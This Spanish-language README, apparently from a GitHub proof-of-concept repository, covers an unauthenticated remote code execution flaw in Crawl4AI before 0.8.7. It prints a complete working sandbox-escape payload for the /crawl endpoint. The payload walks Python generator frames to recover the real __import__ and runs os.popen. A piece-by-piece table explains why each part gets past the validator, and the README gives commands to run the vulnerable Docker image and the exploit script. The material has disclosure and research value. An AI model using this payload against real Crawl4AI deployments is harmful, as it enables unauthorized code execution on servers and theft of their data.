CVE-2026-53753 — Crawl4AI <0.8.7 RCE no autenticado (escape de sandbox AST vía gi_frame.f_back). Laboratorio + PoC, verificado de extremo a extremo.
RCE previa a la autenticación en Crawl4AI
< 0.8.7. Un esquemaJsonCssExtractionStrategymanipulado enviado al endpoint no autenticadoPOST /crawlllega al evaluador de campos calculados (_safe_eval_expression), escapa su lista blanca de AST a través de objetos frame de Python, alcanza losbuiltinsreales y ejecuta__import__('os').popen(<cmd>).read()— devolviendo la salida del comando en banda en la respuesta JSON.
| CVE | CVE-2026-53753 |
| Advisory | GHSA-qxjp-w3pj-48m7 |
| Afectado | Crawl4AI <= 0.8.6 |
| Corregido | 0.8.7 |
| Clase | CWE-94 (Inyección de Código) / Escape de sandbox de Python |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth | Ninguna — la configuración predeterminada tiene jwt_enabled: false |
| Estado | CONFIRMADO — reproducido de extremo a extremo contra la imagen oficial unclecode/crawl4ai:0.8.6 |
Análisis en profundidad: consulte
ANALYSIS.mdpara un recorrido nodo por nodo del AST, la pila de frames en tiempo de ejecución, el flujo de datos de la solicitud y el diff del parche.
crawl4ai/extraction_strategy.py permite que un esquema de extracción defina campos
calculados — pequeñas expresiones Python evaluadas por cada elemento extraído. Son ejecutadas por
_safe_eval_expression(), que intenta sandboxear la expresión con una lista blanca
de AST y un __builtins__ reducido:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Bloquear atributos con doble guion bajo, ej. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
El validador es denegar por prefijo: solo rechaza nombres que comienzan con _
(más import). Esa única heurística es todo el sandbox — y tiene tres
agujeros que se combinan en un escape completo:
| # | Agujero | Por qué es importante |
|---|---|---|
| 1 | gi_frame, f_back, f_builtins no comienzan con _ | Toda la superficie de introspección de frames/generadores de Python es alcanzable. |
| 2 | obj['__import__'] es un ast.Subscript, no un ast.Attribute | El validador nunca inspecciona las claves de subíndices de diccionarios, por lo que la clave con doble guion bajo __import__ pasa. |
| 3 | La cadena f_back de un generador en ejecución conduce a un frame externo cuyo f_builtins es el real | Escapa de _SAFE_EVAL_BUILTINS reducido de vuelta al completo (__import__, etc.). |
El esquema llega a esta función con ninguna autenticación: la API del Docker envía
security.jwt_enabled: false, por lo que la dependencia del token /crawl es lambda: None.
La expresión del campo calculado es:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
Leyéndola pieza por pieza:
| Fragmento | Rol | Por qué el validador lo permite |
|---|---|---|
(lambda: ... )() | Crea un ámbito de función para que el nombre vinculado con walrus viva en una celda de cierre. | ast.Lambda no se verifica. |
g := ( <expr> for i in [1]) | Vincula el generador a g y el cuerpo del generador referencia a g (a sí mismo). | No se verifican := ni las expresiones generadoras. (Walrus es ilegal en un iterable de comprensión, por lo que se coloca en un elemento de tupla en su lugar). |
list(g) | Impulsa el generador — por lo que su frame está vivo cuando se ejecuta el cuerpo. | list está en los builtins seguros. |
g.gi_frame | El objeto frame del generador. | gi_frame no comienza con _. |
.f_back.f_back.f_back | Sube tres frames hasta uno con los builtins reales. | f_back no comienza con _. |
.f_builtins | El mapeo de builtins de ese frame (el real). | f_builtins no comienza con _. |
['__import__'] | Obtiene __import__ del diccionario de builtins. | Subíndice de diccionario — nunca inspeccionado. |
('os') | __import__('os') → el módulo os. | El objetivo de la llamada es un Subscript, no un Name/Attribute. |
.popen('id').read() | Ejecuta el comando y devuelve su stdout. | popen/read no comienzan con _. |
Debido a que el valor del generador es os.popen(cmd).read(), el stdout del comando se convierte en el valor del campo y se refleja de vuelta en la respuesta de /crawl — un oráculo en banda, no se necesita OAST.
Mientras list(g) itera el generador, la pila de llamadas se ve así:
frame: _safe_eval_expression() <-- builtins reales (__import__ vive aquí) ← f_back ×3
└ frame: <expression> (eval) <-- builtins sandboxeados (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- sandboxeados ← f_back ×1
└ frame: <genexpr> g <-- EN EJECUCIÓN; g.gi_frame es este frame ← gi_frame
g.gi_frame.f_back solo se completa mientras el generador se está ejecutando (por eso
el generador debe referenciarse a sí mismo y ser impulsado por list(g) — un
generador aún no iniciado tiene f_back is None). Caminar f_back tres veces aterriza
en el frame de _safe_eval_expression, cuyo f_builtins es el módulo de builtins
completo — del cual se extrae __import__ mediante subíndice.
La profundidad del frame es estable para esta ruta de código:
f_back × 3es correcta para_safe_eval_expressionde Crawl4AI 0.8.6.
La imagen oficial envía la configuración vulnerable predeterminada (sin autenticación):
# Opción A — docker compose (Host Docker normal con red bridge)
docker compose -f lab/docker-compose.yml up -d
# Opción B — docker run simple
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
Espere ~20 s para que el grupo de navegadores se caliente (docker logs crawl4ai-vuln →
Application startup complete).
# Inspeccionar el cuerpo de la solicitud sin enviarla:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload